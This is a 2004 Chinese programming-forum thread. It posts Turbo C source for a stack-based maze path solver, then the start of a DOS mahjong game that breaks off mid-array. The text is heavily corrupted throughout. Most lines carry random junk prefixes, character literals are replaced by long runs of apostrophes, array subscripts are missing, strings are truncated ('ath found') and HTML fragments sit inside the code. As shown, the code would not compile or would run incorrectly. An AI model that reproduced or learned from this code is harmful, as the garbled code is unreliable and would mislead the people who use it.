数学建模社区-数学中国

标题: C语言技术文章 [打印本页]

---

作者: 韩冰    时间: 2004-10-4 02:34
标题: C语言技术文章
<DIV  align=left>
! m+ C  P( _: D$ V- _8 Q6 C0 d< align=left>程序目的：
输入一个任意大小的迷宫，用栈求出一条走出迷宫的路径，并
: ]! x4 _, A# j0 l显示在屏幕上。
: }2 w; _- G/ m( z# o" j程序实现：
: b! o/ h/ U% x! x8 E  S& E" b# S! _可以实现载入迷宫和保存迷宫，附带文件中有4个测试迷宫路径的
2 t% |( T- w3 E. z# ^文件test1~4.dd。请将这些文件拷贝到TC当前目录下，或者在载
入时写明完全路径。由于屏幕大小的限制，当用户自己输入迷宫
时一定要注意：迷宫大小是有限制的，不小于4*3,不大于30*20。
否则会出现错误信息。输入开始时全是墙，用上下左右键移动，
# W3 D, ?2 @  S: Z4 l/ u用Del键删除墙，形成通路，用Enter键添加墙。输入结束时可以
" V: p4 \( x5 P. r+ d7 r将迷宫保存下来，以dd为扩展名。输入完毕时用F9键来得到结果，
找到路径时，屏幕下方会出现Path found，否则出现Path not found。
9 l4 K4 X- U) D  \: m: l* g程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。
不可以在VC上编译。
9 e4 K. @1 B! D- W1 B下载DOS版和windows版的迷宫游戏全部代码
6 w  P5 r3 |9 u( ^! ^: d2 _. w用户名：migong
----------------------------------------------------------------------------------
/*
MazePath Demo BY Turbo C 2.0
Copyright(c) RoverUnion. All right reserved.
Filename: Maze.c
0 N$ G7 K& D  |4 C' c  f( E3 }Author Dongchengyu.
Ver 1.10
*/
0 p& Q* K6 S" j% |1 j) j#include &lt;stdio.h&gt;
& X! S+ F' b( ^5 V4 y8 m#include &lt;stdlib.h&gt;
' K0 A+ W1 |9 X#include &lt;malloc.h&gt;
#include &lt;conio.h&gt;
) ]) M! g8 @* y- M% G. t8 I#include &lt;dos.h&gt;
+ z( a3 H' ~' o: P& g1 X% N+ Z1 O#define OK 1
#define ERROR 0
#define TRUE 1
#define FALSE 0
4 |5 a" D4 [+ ?  A9 S" s#define F9 0x43
2 R) f: N, w5 f1 u#define Esc 0x1b
#define Del 0x53
- H+ O% j8 _4 K+ U; P& m#define Home 0x47
#define End 0x4f
. F: c0 t$ l% e) {& O# ^3 p#define Space 0x20
7 z# ?" S0 @% W  o" ^- h. p& C#define Up 0x48
- [& ?0 ^8 _+ a& I0 M' `" T3 b# f+ ?#define Down 0x50
#define Left 0x4b
1 B( R, t4 d: h7 O  J#define Right 0x4d
#define Enter 0x0d
( f& Z8 j. [" ]" ^- z; J8 e#define F2 0x3c
#define F3 0x3d
#define STACK_INIT_SIZE 200
; b# ]6 t2 K- A0 ^. ]* |#define STACKINCREMENT 10
5 @+ m. m% @8 p! f' jtypedef int Boolean;
typedef int Status;
& v" x' K/ j, R% }typedef struct {
int x;
- n+ I+ ^$ V( x; O. v$ ?" I8 Xint y;
7 E" k3 V4 i- ?( n, J3 d+ P} PosType;
7 }: d& e$ r0 I. Gtypedef struct {
int ord;
- W4 @7 R) C+ R3 zPosType seat;
( N. Y* @8 \0 |. Z* J. Hint di;
! z* B4 w* I9 C0 x3 {  ]} SElemType;
typedef struct {
9 z% {6 W- z( }. W* }! Kint td;
- h* J. f) P/ b* q, r( [int foot;
" y; F, n8 z3 s. u- {int mark;
} MazeType;
typedef struct {
SElemType *base;
3 [! O& B( y3 n9 X! ?: ]3 k: sSElemType *top;
# v8 ^( N) l  e& F. e$ r0 rint stacksize;
} Stack;
int Maze[20][30];
5 c( H) [: a8 @5 b& A- @6 {7 D8 D' JMazeType maze[20][30];
PosType StartPlace;
PosType EndPlace;
int count;
int m,n;
4 j1 p3 ^! W6 e$ c- WBoolean b_start=FALSE,b_end=FALSE;
void CreatMaze(void);
Status SaveMaze(char *filename);
Status LoadMaze(char *filename);
2 w& V3 G& m/ n  \& R0 D( gvoid Error(char *message);
' u( b: \: H' q3 P7 O5 F8 ~Status InitStack(Stack *s);
Status DestroyStack(Stack *s);
Status ClearStack(Stack *s);
Boolean StackEmpty(Stack *s);
int StackLength(Stack *s);
; Q+ x8 u  g5 k1 j. H6 \# eStatus Push(Stack *s,SElemType e);
) J: U* S  a# T4 {0 _SElemType Pop(Stack *s,SElemType e);
Status GetTop(Stack *s,SElemType *e);
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
Boolean Pass(PosType curpos);
void MarkPrint(PosType seat);
" q* E# }* |. s' \% N& ]void FootPrint(PosType curpos);
PosType NextPos(PosType seat,int di);
; K1 q8 J: b+ w. }! y' f7 MStatus MazePath(PosType start,PosType end);
+ ^& A) _1 _" P5 S" ]3 [- Q1 G" Nvoid CreatMaze(void)
/* Form the maze. */
* L3 q7 F3 p. ]1 t; F6 [+ V; h{
2 @7 j4 r9 B% H2 w: x& h+ ?; d" C% uvoid Error(char *message);
, ~0 _6 d! S/ I, z/ a& d! Z. \0 x" ^Status SaveMaze(char *filename);
" _3 J5 w! `" @) {% k6 g& V7 FStatus LoadMaze(char *filename);
0 Y. v1 ~3 |2 K1 m# pint i,j;
int x,y;
char c;
5 f9 ~- M  o1 K. j/ Q9 Ochar savename[12],loadname[12];
Boolean flag=FALSE,load=FALSE;
6 c  `. b$ y" Y/ s# Q+ l: Bclrscr();
printf("Menu:\n\n");
printf("1.Load Mazefile*.dd)\n\n");
printf("2.Input Maze:\n\n");
printf("Input your choice: ");
- G# _1 Y' p, r& F1 i% D; y  Odo
{
; X' y" `% b3 y' N( xc=getch();
' @( c4 I  P- \7 S1 `switch(c)
7 f. I, ]( h. ~; w1 i7 |9 F+ W3 [{
case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
7 T% h! l- E% {: d9 U- Acase Esc: sleep(1); exit(1);
* o3 L- M9 ^( ~5 r5 w  d0 ?default: break;
  q$ J3 L, K2 _}
" D$ t9 T9 K$ m7 g; S; `' |+ m}
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;
& q% m' Q# S3 Z2 j/ v" i& y& g1 Vif(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
{
printf("\n\nLoadName: ");
scanf("%s",loadname);
if(LoadMaze(loadname))
8 R8 L3 W, b, U+ t2 T9 M* h  f{
sleep(1); load=TRUE;
}
else { gotoxy(1,9); printf("Load fail! "); }
}
if(!load)
; F6 Z0 l$ q) d4 }7 x6 ?. [{
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");
# M  l8 R1 L8 q: a! ]5 o/ tprintf("\nInput Length :\n");
! t+ D, f: U/ \  V# z# gscanf("%d",&amp;m);
printf("\nInput Width :\n");
scanf("%d",&amp;n);
if(m&lt;4||n&lt;4) Error("Input");
5 F) L0 U7 N6 Y7 n  K2 m8 i9 Rif(m&gt;30||n&gt;20) Error("Maze too large");
for(i=0;i&lt;30;i++)
for(j=0;j&lt;20;j++)
) i. e. K+ T2 W, u$ Z% D% BMaze[j]=2;
StartPlace.x=0;
* s: C' A  x! fStartPlace.y=0;
EndPlace.x=0;
4 Q% v. D5 S$ Y8 I. wEndPlace.y=0;
) V2 t8 q& ^# H+ Vclrscr();
printf("\n");
for(i=1;i&lt;=n;i++)
{
* f4 N2 [2 b, `% I5 N- |1 S; Ofor(j=1;j&lt;=m;j++)
3 N) y0 v8 Z+ Y5 Y3 }! f2 H{
printf(" #");
Maze[i-1][j-1]=0;
}
$ Y, B" {9 W+ X3 o$ r0 o* R" Cprintf("\n");
/ d0 w6 ]4 i2 B! _; G" U( ^" m}
}
gotoxy(65,5);
printf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");
' C) u/ Y2 o" z0 Jgotoxy(65,7);
3 K) a2 ?7 V! w( h: B9 m6 ]printf("Start:Home");
gotoxy(65,9);
. g4 }1 f) m: dprintf("End:End");
1 P- R& E# t. s! d/ Qgotoxy(65,11);
# Y1 E8 K) Z# K- Y* y6 _7 _printf("Delete Wallel");
- h# s( R; b* a, b, H& lgotoxy(65,13);
& a5 s" g1 G" Y2 P( g3 \8 }" `printf("Enter Wall:Enter");
' Q$ p0 B/ G4 d* @$ Hgotoxy(65,15);
, l/ ~- Q6 \% m/ j" |) Uprintf("Save Maze:F2");
gotoxy(65,17);
printf("Complete:F9");
. a( Q2 I  P" t) S1 d/ {% Qgotoxy(65,19);
/ I' X1 s1 F& Q; d: _) S& C* w& Qprintf("Exit:Esc");
8 H; R0 _7 }, u( F, e) O6 V# Igotoxy(4,3);
* [' e( o8 ~% [( h2 ax=4;y=3;
6 f5 a( P$ a' @1 T# x9 c* F! ddo
{
0 z4 Q3 \% q* F% Qc=getch();
' k; A/ B0 a* c( Pswitch(c)
, x! _& C- q; c{
& Z9 |3 u3 X5 S3 c+ wcase Up: if(y&gt;3) { y--; gotoxy(x,y); }
break;
( B  c6 z+ h4 i0 V/ Fcase Down: if(y&lt;n) { y++; gotoxy(x,y); }
break;
" _  w9 R* D0 r0 x2 h3 e* W+ w3 Hcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }
5 `$ L+ x  w( dbreak;
case Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }
9 g4 c) ~1 u" ebreak;
" h& V8 i2 q, ?$ ^case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
0 X5 Q- i) k+ ^) h5 @if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;
7 h( x2 \. x( x" f4 F5 l& pputch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
5 z/ N: S9 _) u; d: T8 w$ Y( Wbreak;
8 U* u/ {5 V1 i8 x  ccase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;
0 g8 Z& n6 g3 L- c+ y2 [' F! ^if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;
' {5 U9 j( p) J" nputch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
6 D8 A; K. C' A4 S! ?break;
+ n1 ^' S2 b2 g& Ccase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)
{
$ q  n, q+ K7 V2 ?StartPlace.x=x/2-1;
StartPlace.y=y-2;
putch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
gotoxy(x,y);
b_start=TRUE;
}
break;
case End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)
3 j4 X% z( R  H/ z# m1 ?{
+ h; S9 t, ]0 UEndPlace.x=x/2-1;
) n1 c* ]) J! X5 Y( @EndPlace.y=y-2;
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
gotoxy(x,y);
b_end=TRUE;
7 S8 q7 V8 C; R: `}
break;
* m) k( w$ S8 f8 W, Fcase Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;
6 B. g% I2 n9 o1 W2 l! Ncase F2: gotoxy(2,22);
printf("Savename:");
scanf("%s",savename);
" @+ a% c7 X3 p0 z) H+ Xgotoxy(2,22);
, _4 ~. t% L# t" `: h) E0 Vif(SaveMaze(savename)) printf("Save OK! ");
else printf("Save fail! ");
) }2 D& s+ h+ A* D" }sleep(1);
) [3 R9 s; {8 I9 T3 x9 g0 [$ |gotoxy(2,22);
printf(" ");
gotoxy(x,y);
/ ?* l- i3 K7 V, |# {break;
default: break;
}
' A6 h0 y! i0 d: F}
while(!flag);
3 F. ]$ n: q2 l; Z5 n5 hfor(i=0;i&lt;30;i++)
for(j=0;j&lt;20;j++)
{
maze[j].td=Maze[j];
maze[j].mark=0;
maze[j].foot=0;
}
}
0 i4 P# i& K. dStatus LoadMaze(char *file)
/* The maze has been loaded. */
" J2 E6 n/ E. \- d: X& d; W+ ?{
7 O8 k) s5 c. j" B# k/ V8 ^5 t. UFILE *fp;
char *buffer;
char ch;
int i=0,j,k;
  o/ S$ b) }; F% u5 aBoolean len=FALSE,wid=FALSE;
- t0 R: I% Y# J+ Pif((fp=fopen(file,"r"))==NULL)
return ERROR;
, R9 K$ ~* @. X- a# C: X+ V7 Gbuffer=(char *)malloc(600*sizeof(char));
ch=fgetc(fp);
( j- }6 |7 {! ^7 P4 t7 T  M: Swhile(ch!=EOF)
5 B* ^( X5 o" i/ u1 d{
buffer=ch;
i++;
ch=fgetc(fp);
}
m=30;n=20;
4 Z) m! _7 t: w* n# U7 Gfor(i=0;i&lt;600;i++)
{
j=i/30; k=i%30;
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
if(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
+ F6 e( n) a* p/ F4 ?' aswitch(buffer)
{
, M; w1 Q3 c' M& R* Vcase ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
6 z% g' n2 e& F2 |case ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;
5 e% `7 [" E1 ^. ycase ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
. l0 G% c' D/ a. W& V  _- dStartPlace.x=k;
StartPlace.y=j;
4 }& u+ z. m5 U, B! |% t! i  ?9 `b_start=TRUE;
' I6 P, Z$ E% u1 @1 x. G0 _  C! ubreak;
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;
EndPlace.x=k;
EndPlace.y=j;
9 _; z* v7 @3 d/ y" ^b_end=TRUE;
# k7 f. g* p8 x& ]5 n7 zbreak;
" A9 p! ^8 @1 U. Fdefault : break;
}
# L+ e: T) {$ F5 X2 N5 ^8 S}
8 y# G' I3 B% Efclose(fp);
clrscr();
4 N8 n/ \5 F7 I5 b5 Yfor(i=0;i&lt;30;i++)
4 E/ s& m1 ]7 V3 k0 ffor(j=0;j&lt;20;j++)
/ I( H; C9 R; b{
maze[j].td=Maze[j];
$ O- p! k5 a. K; w  wmaze[j].foot=0;
maze[j].mark=0;
if(Maze[j]==0)
/ D0 [% N* q. ]! H7 _, m1 z{
gotoxy(2*i+2,j+2);
putch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
}
# ^9 m1 C" X' @  ~# }}
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
, b7 k4 M. ^) X3 W9 h8 Y/ R" sputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
putch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');
5 u6 K8 J; K( ]1 D% [  r& T, E  Yreturn OK;
}
1 i, F: ^/ u/ s' IStatus SaveMaze(char *filename)
5 Z9 L0 V. Y! w1 I& }4 `/* The maze has been saved. */
% V# D: i6 @: k/ _5 P2 u{
$ Y; k3 W1 J" i4 |; qFILE *fp;
, `7 L# n7 q+ J! s- Y6 L+ nchar *buffer;
int i,j,k;
fp=fopen(filename,"wb");
  g$ }9 P5 Q& O% t8 J- ubuffer=(char *)malloc(600*sizeof(char));
for(i=0;i&lt;600;i++)
{
j=i/30; k=i%30;
switch(Maze[j][k])
{
case 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;
7 d1 s+ S* d! B3 H# X. acase 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
8 y' z' f8 f! }& r" O$ Y9 ~4 }case 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;
" Y4 F% S  T# B) X. V: {  h$ ydefault : Error("Write"); break;
+ }2 v( i6 \2 h* k: a, p# ^2 R9 q4 R}
3 P( d: k3 `* Xif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';
. |3 K6 L& S0 Vif(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';
}
  ?+ I  `* G4 \# J3 G( q& Ifwrite(buffer,600,1,fp);
free(buffer);
( Q. w$ U1 w0 J) ifclose(fp);
return OK;
}
void Error(char *message)
$ I+ b8 x) j4 }& O. e{
clrscr();
: G# b6 `" O# F9 Wfprintf(stderr,"Error:%s\n",message);
$ R% G  [3 [2 `% c, yexit(1);
2 R5 z) R" W! b8 P% r. f1 ?} /* Error */
$ n$ v" U  k1 j8 Y- z* Y, F1 N
7 B% _& j" A, x$ L& NStatus InitStack(Stack *s)
) u% A) w& u+ s( q% S7 L/* The stack s has been created and is initialized to be empty. */
2 h+ B8 b- f  E. B+ G{
s-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
1 M; N# m% y/ _if(!s-&gt;base) Error("Overflow");
: @. a6 m8 ~6 e5 |s-&gt;top=s-&gt;base;
s-&gt;stacksize=STACK_INIT_SIZE;
7 f/ a+ N5 L! w* R9 F( lreturn OK;
} /* InitStack */
Status DestroyStack(Stack *s)
; \. Q+ c- B1 l/* The stack s has been destroyed. */
9 W+ n0 K+ g! i, S! a{
s-&gt;top=NULL;
9 T7 C$ a) w# {8 Qs-&gt;stacksize=0;
7 W9 G7 L" Y3 _6 `$ Afree(s-&gt;base);
s-&gt;base=NULL;
! A5 C& \. B$ F" \, sreturn OK;
4 T9 A4 M' D6 Q7 m5 P+ V$ s7 ]} /* DestroyStack */
Status ClearStack(Stack *s)
/* The stack has been clear to be maximum. */
{
# T+ x! k9 X' I1 n1 z5 i8 m& [/ Ns-&gt;top=s-&gt;base;
  {2 y8 q. i7 g: i: ts-&gt;stacksize=STACK_INIT_SIZE;
( {# i  ?4 X9 g# o+ N! yreturn OK;
& h2 A$ o! l# u  z} /* ClearStack */
Boolean StackEmpty(Stack *s)
, R7 i$ g/ H" z4 u/* Check if the stack s is empty. */
2 n! e) d! |" R! w: e! V8 |{
4 ~/ Q5 |. C' m- L# |if(s-&gt;top==s-&gt;base) return TRUE;
else return FALSE;
" D* c) b; e7 e' V- w} /* StackEmpty */
8 m5 j5 j: @9 zint StackLength(Stack *s)
/* Gain the length of the stack s. */
{
& B" J+ Z% \) `7 Y4 y; K* {' @if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
else return 0;
} /* StackLength */
Status Push(Stack *s,SElemType e)
( L# w" x4 ^- h3 f% f: i3 u1 |/* The element e has been pushed into the stack s. */
{
if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
" A3 T7 E+ s. o! d9 ?! h{
s-&gt;base=(SElemType *)realloc(s-&gt;base,
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));
# Y8 a/ s0 H. P' r& |if(!s-&gt;base) Error("Overflow");
s-&gt;top=s-&gt;base+s-&gt;stacksize;
s-&gt;stacksize+=STACKINCREMENT;
! b. o4 u! B* @6 P8 i}
*s-&gt;top++=e;
% }5 z9 z* c" N: n' x# b- Vreturn OK;
} /* Push */
SElemType Pop(Stack *s,SElemType e)
/* The element e has been removed from the stack s. */
{
. w. Y/ z8 E, Sif(s-&gt;top==s-&gt;base) Error("op");
( ^$ q. Q& m6 l; L; x' g& Le=*--s-&gt;top;
% P5 m. g+ J. G3 p$ h& a9 freturn e;
8 |* n6 `8 x* W& b} /* Pop */
Status GetTop(Stack *s,SElemType *e)
  `' T* c8 V0 O9 @% @& y4 a/* The element e has got to the top of the stack s.*/
{
! M- _5 a' K! R! j3 Iif(s-&gt;top==s-&gt;base) Error("GetTop");
*e=*(s-&gt;top-1);
return OK;
/ J5 g( `* h- ~2 X6 {, z$ }- o5 _  ]1 i} /* GetTop */
' k2 u+ _% w1 L/ W/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))
6 U: F7 \: J/ p4 S1 S  X{
SElemType p;
; ?3 G) W5 O% @" m/ g9 \/ d% Sint result;
if(s-&gt;top==s-&gt;base) return ERROR;
5 E3 C9 O9 V. F& W+ a/ l8 Y* Hp=s-&gt;base;
) D3 O' V; ^4 r: }. E* \* awhile(!(p==s-&gt;top))
{
result=(*visit)(p);
p++;
2 {3 h" x  z4 s' q. h( J9 \}
return OK;
} */
5 H  I7 e: `2 LBoolean Pass(PosType curpos)
/* Check if the current position can be passed. */
! j6 H7 Q: L) R! z! }9 S) s/ }{
* l1 }1 p3 \$ p7 ]- dif(maze[curpos.x][curpos.y].td==1&amp;&amp;
maze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
. E; o. C& j# O  V* e1 f% {' z) Ureturn TRUE;
6 }7 P6 i* E( p* ?/ }7 k. S" Yelse return FALSE;
  l5 \& s) t* k$ s! g} /* Pass */
void MarkPrint(PosType seat)
/* Mark the position seat. */
3 {/ q* Y8 F# w: n{
maze[seat.x][seat.y].mark=-1;
. H& K- V+ }( B' O+ {, Z, W( @/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */
% p) y! `7 A; z# a} /* MarkPrint */
void FootPrint(PosType curpos)
, v! F4 x% x  m! b/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */
{
# h; }" {5 T. R, }1 m  o- r! [8 umaze[curpos.x][curpos.y].foot=1;
} /* FootPrint */
' a6 z0 }4 q& W. g/ L0 z9 wPosType NextPos(PosType seat,int di)
8 X" G% X% K% c" I% V1 x* [" r" v2 X{
" h4 @2 Y1 k8 P) s! vswitch(di)
{
case 1: seat.y++; return seat; /* Eastward */
8 t& ~  J  f9 L$ X% M- E: Ycase 2: seat.x++; return seat; /* Southward */
8 j! m9 I4 N0 Q- S" Pcase 3: seat.y--; return seat; /* Westward */
/ a& `7 A5 g! T  o% T- T4 w7 Qcase 4: seat.x--; return seat; /* Northward */
6 F4 V9 P0 |4 i# xdefault: seat.x=0; seat.y=0; return seat;
0 a) u# l- P. _/ R. u8 j}
} /* NextPos */
% \3 N& Y+ P. G4 r  N: k5 q
/* The key to the program. */
/* Pre: The maze array &amp; the startplace &amp; the endplace.
" v% }4 r9 e" S) p2 n! w& sPost: Find the one traverse of the maze and perform the mazepath.
Uses: The ADT stack class.
' _0 G/ E. D7 [0 }*/
! M1 u/ Y$ K; R" f7 y+ tStatus MazePath(PosType start,PosType end)
: w. c6 B/ c1 L4 u# X' G! n{
3 R* ^# T) k' IPosType curpos;
3 ^6 ~/ J  A2 L5 @# [6 Z5 _. qint curstep;
SElemType e;
7 X/ M3 r' C+ n' t' P( q( S. gStack *s,stack;
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));
if(!stack.base) Error("Overflow");
stack.top=stack.base;
stack.stacksize=STACK_INIT_SIZE;
6 Z; W6 n5 M$ ^0 P$ J# Ns=&amp;stack;
curpos=start;
8 l3 U. A9 @# D( Gcurstep=1;
do
{
3 Y$ E" w* j) B  Z; p4 j" l4 g6 sif(Pass(curpos))
{
FootPrint(curpos);
e.ord=curstep; e.seat=curpos; e.di=1;
gotoxy((curpos.y+1)*2,curpos.x+2);
+ d7 n) w2 f6 c( z: L. l" H, I+ U- ?; v( h% @putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
delay(8000); /* pospone time. */
8 t- I7 ?7 Z, A/ NPush(s,e);
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */
! ~5 E- c  F* j1 @3 e{
DestroyStack(s);
return TRUE;
}
curpos=NextPos(curpos,1); /* Try next position. */
, w7 n: U2 P! O4 z, B# mcurstep++;
}
else
# J/ ^  |7 Y; U, X  Z0 L{
( z" o$ w% s* L  _4 {% Wif(!StackEmpty(s))
) H4 e9 B2 E7 L0 u{
8 }0 m0 M1 Q/ J# ze=Pop(s,e); /* Removed e from s. */
- R1 |* n, ^1 l! L" N+ Y+ m( [while(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked
and s is not empty. */
{
( t# r$ `/ ^5 r6 kMarkPrint(e.seat);
  V2 S3 ]+ o' k' T# o* F4 P. s- ]gotoxy((e.seat.y+1)*2,e.seat.x+2);
* ~) |/ W: a6 q4 g; Uputch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
  I" a0 j& j4 n. k+ x  a1 ndelay(8000); /* Pospone time. */
gotoxy((e.seat.y+1)*2,e.seat.x+2);
# m5 R  v4 y6 iputch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
) m, l( i  s8 s: l0 le=Pop(s,e); /* Remove e from s. */
5 \1 {5 _8 U) `4 r- H2 Ucurstep--;
# U; `( R: R* i) S4 W) ^' ^}
if(e.di&lt;4) /* The current position hasnot been checked. */
{
  H8 y3 P! G7 U7 i3 R! x9 ee.di++;
Push(s,e); /* Insert e into s. */
& \* X0 b2 q0 C9 A, Tcurpos=NextPos(e.seat,e.di); /* Try next position. */
}
: a* M- M; v2 u+ Q3 V* M. j2 U}
# G* T# g; c: D6 U6 \" a}
}
while(!StackEmpty(s));
6 K" z' S5 g  s' H5 y7 c5 B6 VDestroyStack(s);
return FALSE;
. k8 }7 f5 w7 B" k- h5 a} /* MazePath */
, n7 a1 }* @$ x, ^0 y7 t7 Yvoid main()
{
PosType start,end;
CreatMaze();
start.x=StartPlace.y;
* M' U! a) P1 X' A1 O% Qstart.y=StartPlace.x;
end.x=EndPlace.y;
( H0 \5 Z! X% L7 gend.y=EndPlace.x;
if(MazePath(start,end))
1 W% L/ B9 A3 r; A7 l7 J3 Q{
7 l' p+ i9 P$ r, mgotoxy(2,22);
& v! w9 R& y0 ^& ~3 [1 Sprintf("ath found\n");
: c0 U+ ~- [4 q( v/ ^}
1 {/ K0 L8 G& }) p( V* W- Kelse
{
gotoxy(2,22);
+ c$ J, s# K2 T2 {* R" E( dprintf("ath not found\n");
! F! g5 B$ c( X7 e4 X- w! t}
. E4 R7 ?/ L9 o+ [' f5 Ogetch();
clrscr();
} </P></DIV>

---

作者: 韩冰    时间: 2004-10-4 02:36
<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
7 ~: A8 U# f1 K, ]/*天宇软件
/ V- r  k9 C7 S8 ^; I作者：上海黑暗之龙
2002/10/30
麻将原代码*/
4 `7 Y2 _* c0 Y- E5 j#include "dos.h"
' ]. O  k" b! m+ A0 E#include "stdio.h"
#include "graphics.h"
#include "bios.h"
#include "conio.h"
: ?: K& U8 M, g: T% U6 T#include "stdlib.h"
unsigned char far *video_buffer=(char far *)0xA0000000L;
#define VGA256 0x13 /*图形模式13h*/
& Z, t! {$ e5 n9 Z#define TEXT_MODE 0x03 /*普通文本模式*/
#define SETVGA Set_Video_Mode(VGA256)
; E, c- \+ i( ^7 p#define OUTVGA Set_Video_Mode(TEXT_MODE)
* x3 g, ?* I: W  Z  S% T1 q#define BYTE unsigned char
/ H: `. O* i3 t) F3 |( S#define WORD unsigned int
#define DWORD unsigned int
+ [+ R- ]6 z  C- u* C#define ESC 283
#define LEFT 19200
7 W5 v8 @/ h/ ]$ @#define RIGHT 19712
- |! E" v2 I7 i" s#define H 9064
#define ENTER 7181
. A1 \2 l% C* K% J5 g1 yunsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;
, \2 v& ^: x- y2 G6 xint key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;
) b7 I0 F2 o7 f, e2 C& m3 jstruct chi
{
+ V  N. D1 K! p. `int lg;
5 e1 R. D( x5 i: e$ e7 n& h8 L, |int lgg;
8 }5 c) W$ f2 Q+ l( ?8 x}ch[13];
: h# e* a0 k* V/ o) r! F6 ostruct mj
{ char *name; /*名字*/
int data1; /*是否已出，无用了*/
- @: m, o, P, k  D2 A* w1 |int data2; /*是否在手中，1为自己，2为对方*/
int number; /*同一个花色的第几张，共4张*/
( [. r- X% y; p: S+ r: N/ T}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,
, H8 Y$ N, Z9 N. U& f7 ?( Y"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
$ e2 D. f% T) R* u# m$ o; }8 g"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,
